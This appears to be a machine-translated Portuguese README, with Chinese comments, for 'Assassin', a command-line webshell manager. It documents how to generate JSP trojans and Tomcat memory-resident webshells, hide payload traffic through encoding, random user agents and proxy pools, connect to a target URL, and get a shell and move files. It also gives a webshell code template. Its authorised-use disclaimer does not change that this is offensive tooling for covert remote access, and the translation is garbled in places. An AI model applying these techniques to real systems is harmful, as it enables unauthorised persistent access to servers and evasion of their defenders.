Assassin é uma ferramenta de gerenciamento de webshell baseada em linha de comando simplificada. Possui uma variedade de métodos de envio e codificação de carga útil, bem como código de carga útil simplificado, tornando -a um assassino oculto e difícil de ser bem defendido.
As ferramentas são curtas e concisas, e a web-shell gerada pode ser mais comum e sufocante, minimizando as características de tráfego da interação após a conexão, e o método de envio de carga útil específico pode ser personalizado. Devido à energia pessoal limitada, Porque eu sou preguiçoso e , o servidor suporta apenas Java.
Declaração: É principalmente para penetração legal ou competições de AWD do aluno autorizadas pelo pessoal da segurança cibernética. Ninguém deve usá-lo para fins ilegais ou fins de lucro, caso contrário, as consequências serão suportadas por si mesmas.
[1] A webshell gerada pode ser mais comum do que os software (os modelos da webshell podem ser personalizados e modificados)
[2] A webshell tem apenas 1kb de tamanho. O cliente e o servidor precisam carregar apenas o código de byte uma vez para o mesmo tipo de comunicação, e o tráfego subsequente transmite apenas comandos.
[3] A carga útil pode ser enviada de quatro maneiras: obtenha, postar, cookie e misturar. Pode ser modificado dinamicamente e o tráfego é altamente confuso.
[4] O tráfego interativo entre o cliente e o servidor suporta vários métodos de codificação, que podem ser modificados dinamicamente
[5] Os nomes e a quantidade de parâmetros enviados por carga útil podem ser personalizados, suportando agentes de IP aleatórios e agentes do usuário
Software semelhante ao modo de operação de msf




Cookies: 
publicar: 
misturado: 
pegar: 
Além do método de cookie, obter, postar e mixar, pode modificar dinamicamente o método de envio depois que uma conexão foi estabelecida, sem alterar o servidor.
Solicitação de codificação:
Codificação de resposta:
O método de codificação da resposta pode ser modificado dinamicamente
Servidor: JRE 1.5 e acima
Cliente: JDK 1.8 e acima
{
"paramNames" : [ " user " , " file " , " id " , " eid " , " wd " , " ie " , " oq " , " name " , " son " ],
// get、post、mixed请求参数名的随机池
"cookieNames" : [ " fid " , " uuid " , " eid " , " home " , " ief " , " fl " , " oop " ],
// cookie请求参数名的随机池
"headers" :{
"Accept" : " text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 " ,
"Accept-Encoding" : " gzip, deflate, br " ,
"Accept-Language" : " Accept-Language: zh-CN,zh;q=0.9 " ,
"Upgrade-Insecure-Requests" : " 1 "
},
// http头部
"partNum" : 3 ,
// payload首次发送的分块数量
"argNum" : 5 ,
// 每次请求的参数个数,不能超过paramNames或者cookieNames的参数个数
"startRandomUserAgent" : false ,
// 是否随机useragent
"startIpAgents" : false ,
// 是否开启ip池代理模式
"startColor" : true
// 是否启用命令行颜色
}O UserAgent aleatório usa o userAgent em ./UserAgents.txt. Após a abertura, o UserAgent será substituído toda vez que a solicitação estiver ativada. Geralmente é usado com o agente IP. Quando fechado, uma sessão da webshell é iniciada com o comando de sessão sempre.
O pool de proxy do IP usa ./Ipagents.txt, o formato é ip:posr;username:password . Se a autenticação não for necessária, ip:port ficará bem. Após a abertura, um proxy será selecionado em cada solicitação.
Dica: Feche "StartColor" depois que o usuário do Windows inicia o código ilegal ou use o Terminal do Windows para iniciar
Todos os comandos são relativamente simples de usar, você pode visualizar parâmetros através do comando de ajuda

help [command] Visualizar ajuda de comando específica

Comece com startup.bat ou startup.sh
new java 123 cookie
# 生成密码为123 发送方式为cookie的普通jsp木马
new java pass post reqEncode=base36 tamper=tomcat9_filter
# 生成密码为pass 发送方式为post 请求用base36编码的tomcat9 filter内存马 Dicas: Existem muitos parâmetros para add e novos comandos, e os parâmetros opcionais embrulhados entre colchetes também podem ser atribuídos com key = value.
Em seguida, uma janela pop-up selecionará o local de salvar

Carregue a webshell para o servidor de destino
add http://192.168.48.130:8080/1.jsp 123 java method=cookie resEncode=base36
# 添加webshell 密码123 java马 cookie传参 请求编码默认base64 响应编码base36 show número de identificação do ID 
session 1 Conecte -se à webshell

Quando você vê as alterações rápidas, você pode executar o comando dos comandos do controlador webshell!
Assassin | java > getshell
Assassin | java | C: a pache-tomcat-9.0.54 b in > dirFaça o upload do arquivo
upload # 没参数默认传到当前目录
Selecione o arquivo para fazer upload
download ./test.txt o mesmo se aplica



A primeira parte é preenchida com {@Key}, representando a senha da webshell
A segunda parte é preenchida com {@getValue}, que representa o código que recebe a solicitação de carga útil
A terceira parte é preenchida com {@Decode}, representando o código de decodificação
O modelo é o seguinte:
String k = "{@key}" ; // aes密钥 123456 md5的前16位
String r = "" ; //密文payload存放位置,这个参数名必须为r,其他的无所谓
// 取密文
{ @ getvalue }
byte [] cText = { @ decode };Se a outra lógica principal permanecer inalterada, você poderá se conectar com sucesso.
Exemplo
Por favor, veja o modelo de cavalo de memória do filtro do tomcat em webshell/java/